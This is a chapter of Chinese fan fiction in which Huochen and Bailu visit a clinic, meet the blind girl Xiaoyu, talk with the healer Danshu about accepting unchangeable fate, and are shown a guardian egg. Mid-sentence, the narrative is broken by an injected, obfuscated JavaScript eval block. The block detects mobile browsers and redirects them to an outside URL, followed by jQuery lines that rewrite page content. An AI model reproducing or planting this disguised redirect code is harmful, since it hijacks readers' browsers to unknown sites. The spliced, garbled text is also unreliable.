白露探头看去,正对上一双没有神采的眼睛,声音不自觉压低:“唔,是天缺者的例行检查。”
室内二三十人,七八个医士,其中一人安静立在一侧,长发挽起,双目无神,正是丹士长丹枢。
天缺者,自出生起便身有残缺,又因为仙舟人的身体特性无法被补全:仙舟人的身体保持从出生那一刻的状态,就算植入眼球,也会被排异反应排出。
“似乎都是眼疾。”白露眨巴着蓝绿色的大眼睛,看得分明。
她日日为人看诊,对天缺却也不算熟悉,因为“生来就有”意味着“无药可治”,少有天缺者会不信邪寻医问药,大多是认命了;她外出一次又多有不便,也就极少见到。
看到人,就想起丹枢也是天缺者。白露琢磨着自己把人想得太坏了,还待问问理由;再抬头时,却发现后门站着一个小女孩。
身形瘦小,个子比她还矮半头,扒在门边,只睁着眼怯生生望过来,不出声。
白露纳闷。
“是我,没认错。”
身边的闷葫芦却突然出声了,而后就见小姑娘呼一口气,高高兴兴摸索着走过来,抱着人腿喊“火尘哥哥”。
哦,认识火尘。
“你能听声音认人吗?”白露反应过来,真心夸赞,“好厉害。”
小女孩听见声音,往火尘身边缩了缩,像刚才一样探头看她。
火尘:“这是白露大人。”
小女孩点头,探出身子认真跟读,像在念书:“白露大人好。”
“这是小鱼。”
白露咧嘴笑,两步凑近:“噢,小鱼好!”
两个小女孩开始友好交流。
火尘则抬头对上来人——丹士服装的女子缓步走来,挽着发髻、步履稳健,除却目中无光,行动间与常人无异。
丹士长丹枢,火尘两年前就见过她。
[你拿去吧,这些药材药力太弱,于长生种毫无用处,但对短生种或许大有裨益。]
[……谢、谢谢您。]
长生种最大的特点,就是身上仿佛停滞了的时间,丹枢两年前是什么样子,现在就还是什么样子,配合那双古井无波的眼,像是活成了雕塑。
火尘拱手:“丹枢大人。”
丹枢向他微微颔首,分明看不见,却垂眸注视他片刻,而后直言:“你变化很大。”
变化很大……哪里?
火尘心里嘀咕,面上先玩笑似的回:“短生种日日变化本是寻常,我还当自己久未叨扰,丹枢大人会听不出我。”
“频繁来丹鼎司可不是好事,”丹枢摇摇头,“你性子散漫,不爱动弹,两年都没改过,从步伐里便可听出。”怕是以后也不会改了。
火尘注意到白露看戏的视线,转头打哈哈。
丹枢也转向,解释:“龙女大人步子轻快,间距小,行动间时有水声。”
白露低头瞅一眼自己的葫芦,心中了然。
“……轻快、间距小、有水声……”
她纳闷,问刚认识的小伙伴:“小鱼,你念这个干嘛?”
“我在记,”小鱼依然是很认真的样子,“我想记住你的声音,这样下次遇到就可以听出来。”
白露:!
白云:开心!
白露:我也开心!
被人认真记住,白露非常开心,这份开心在和小鱼玩了点简单游戏后达到了顶峰,连被侍女严加看管的事都差点忘了问……当然,还是要问的。
丹枢平静的脸上有些许诧异,片刻后她答:“白露大人,那应当是持明一族调派的侍女,您是龙尊,她们自然关心您的安全。”
“我是丹鼎司的丹士长,并非持明,没有办法调派司部外的持明族侍女。”
哦,这样啊。
可她问的是在病房外拦住她去路的事,不是同一件事,丹枢好像没听明白。
白露寻思是自己没问好,反正消气了,也就没再多问。什么时候她想去看了,叫上彦卿再去一次便是。
火尘低头看她,口型:“怎么了?”
白露摇头示意没事。
里间叫到小鱼的名字,小鱼摸索着要进屋,白露索性跟进去瞧瞧检查流程,剩下火尘和丹枢在门外。
安静。
丹鼎司的红枫叶被风一吹簌簌落下,从廊道往外看别有一番风味。火尘探头瞧两眼,身边人突兀出声:
“你变化很大。”
他回头,是丹枢。
又说变化大,又说两年步伐都没变过……
他问:“哪儿?”
丹枢退两步,在廊道扶手边坐下,跟他打哑迷:“哪儿都变了。”
“你现在,交到朋友了吗?”
交朋友?
火尘下意识就想答“我不交朋友”,张口却想起彦卿那张委屈脸:
「不算?」
「算。」
虽然是乌龙,但好歹也是承认了。
于是卡了一下改口:“交到了。”
丹枢有些惊讶,接着问:“几个?”
彦卿算的话,那白露大人也能算吧;白露大人算的话,那工造司帮他带早餐的同事、指导他工作的前辈也能算吧;再者说,公输师傅是他师父,怎么不能算呢……
他数完,比出一个手掌:“五个吧。”
“五个?”是反问。
火尘顷刻就感觉自己的“五个”不牢靠了,一下收回手掌,然后憋出一句:“不知道。”
丹枢在笑。
他倒也不恼。
“你对交朋友总有一套自己的标准。”
“这个本来就不好判断吧……”火尘为自己辩护。
他认识丹枢许久了。
刚来仙舟时,他的身体很不好,大病小病不断,有些可以靠睡觉睡好,有些却不行,隔三差五跑丹鼎司。
「短生种?」
这是丹枢见到他的第一句话。
听不出多少贬损,他也就一句一句应下去。
「难民?」
「嗯。」
「病了?」
「嗯。」
「你为什么打那几个孩子?」
丹枢难得起了兴趣,多问一嘴。
面生的短生种少年顶着蜡黄的脸色、潦草的头发,眼窝深陷,却是全然无所谓的表情。
眼熟的盲眼小女孩站在他腿边,弱弱辩解「哥哥是为了帮我……」
「他们欠打,」而少年神情蔫蔫开口,脾气不知是本来就差,还是因为生病才差,「小孩子家家的吃垃圾长大嘴这么脏。」
「一会儿家长找来了怎么办?」
「找就找,」少年慢吞吞拿药,「给他们打回来啰。」
然后拎起小鱼往她这儿一放,转头就跑了。
丹枢提起那时的事。
“你确实是个很特殊的孩子。”
“后来我问你想不想成为长生种,过一过仙人日子。”
“你反问我‘为什么要延长苦日子’。”
火尘抓头发,不小心碰到脑袋上的包,又讪讪放下手。
“我还问你‘愿不愿意和仙舟人交朋友’。”
“你说‘这是我愿意就能办到的吗’。”
一直反问,总是反问,他刺头得像个对仙舟哪哪儿都很不满的愤青,面对他人的善意说不出一句好话。
这位丹士长神情依旧淡淡,说话却莫名比往日起劲:“我说,短生种和天缺者都可算仙舟上的弱势群体,你就说……”
“……丹枢大人,我们聊点别的吧。”火尘本来没什么感觉,被认识两年的长辈一提,顿时感觉像是中二时期的黑历史了。
“你说,‘我好得很,一点都不弱势’。”
火尘窘迫。
丹枢:“现在似乎确实是好得很了。”
火尘抓头发。
丹枢却话锋一转,原本温和的语调,转瞬沉下来,就像撕开了伪装。
“也是,接受了自己能力有限,接受不能改变的现实,才能过得舒心,”话说到这里,声音已经有点飘了,“就是所谓‘知足常乐’?”
“知足,常乐。”
“可‘知足’,怕只是不得已,因为做不到,索性不去想,因此也少了很多烦恼,人们谓之‘知足常乐’。”
火尘沉默。
可即使不去想,问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326776|199128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
题也依然在那里,又如何“常乐”?
火尘从来都不喜别人拿自己的经历套在他身上,他有手有脚有命活着,并不可怜,初至仙舟的怨气也在彦卿那一剑里早早消散——能长出这样的人,想来这里是个好地方。他这样想。
两年过去他依然想反驳丹枢,但丹枢那番话比起在说他,更像在说自己。
他知晓丹枢已是丹士长,丹鼎司医术的集大成者,即便如此,她依然对“天缺”没办法,因为那是丰饶的诅咒,涉及星神的力量,非人力所能及。
如今一提到无法改变的事情,就叫人一下想到她是天缺者,想到她的眼睛,一汪灰黑的深潭。
“丹枢大人可以……”
可以什么呢?
火尘不知道话题怎么拐到这儿来的,只知道世上不存在真正的感同身受,所以这种时候不能说“我同情”,也不能说“我理解”。
他憋半天,说出一句:
“我会帮忙看顾小鱼。”
前言不搭后语,驴唇不对马嘴。
但丹枢笑了:“你不过百年寿数。”
“小鱼也是会长大的,”火尘回想往常,“她学东西很认真,做事情也很专注。”
所以百岁的小鱼一定已经掌握了一些生存技能,不会像今日一般弱势了。
“不能改变的有很多,能改变的也不少。”
静。
跟之前一样安静,可丹枢不搭理他,就静得有些尴尬了。
他只得往别处扯:“您心情很好的样子,最近有什么好事吗?”
心情很好是火尘的判断,虽然对话内容不太好,但丹枢话比以往多很多。
丹枢总是静静的,静到外人都知丹士长深居简出、喜幽静,火尘除了初见那几次就没见她说过这么多话。本身他也不是爱找话的人,细想起来,除了初次见面竟再也没有深聊过。
“好事、好事……”
“或许是好事吧。”
丹枢沉吟,情绪又回归平稳,话不说完,嘴角噙着淡淡的笑意,叫人听不明白也看不明白。
气氛缓和了,两人重又安静下来。
火尘看向室内,白露正在和做完检查的盲人小朋友玩摸头猜人的游戏,自己顶着顶角给人摸完了再闭上眼去摸别人的头,吃亏吃得很高兴。
小鱼……在?
“怎么不玩了?”
他突然出声,吓得身后抓他衣角的小朋友一个激灵。
回头蹲下,小鱼后退两步问好,声音细弱:“火尘哥哥。”
“嗯,在呢。”
小鱼朝他的方向露出一个笑脸。
丹枢也问,语气很温和:“检查完啦?”
小鱼向丹枢点头,重新来拉他衣角:“想和火尘哥哥说话。”
火尘不明所以,跟着走远些。
到了廊道转角,小鱼却不说话,目中无神像是发呆。火尘知道她是在组织语言,也不急,周围没地方坐,他就街溜子一样蹲路边。
他和小鱼也认识很久了,不如说,一开始就是因为帮了小鱼才会认识丹枢。小姑娘因为天缺生活中总有困难,自信心严重不足,还很容易被排挤欺负,长期下来越发沉默寡言。
如今想要主动说些什么,已经算是大进步了。
火尘蹲累了,换个姿势蹲。
小鱼组织好了,开口:
“火尘哥哥,刚才白露大人跟我说,可以来问你,这个东西是什么……”
什么东……!
小鱼掏啊掏,从口袋里掏出他这几天再熟悉不过的东西——蛋。
蛋大到需小鱼两手捧着,纯白色,花纹像水滴入池荡开的涟漪,浅淡又温柔。
“能看到吗?火尘哥哥。”
“能。”
小鱼一下高兴起来,把蛋往他的方向递,火尘伸手接过。
蛋壳看着光洁,摸上去却像在摸鱼鳞——这确确实实是守护蛋。
火尘看看小鱼,又看看蛋,一瞬间明白了彦卿的心情。
他蹲着挪两步,抬手摸摸小鱼的头,对上孩子茫然的眼。
希望你的守护甜心早日出生。
希望你有人陪伴。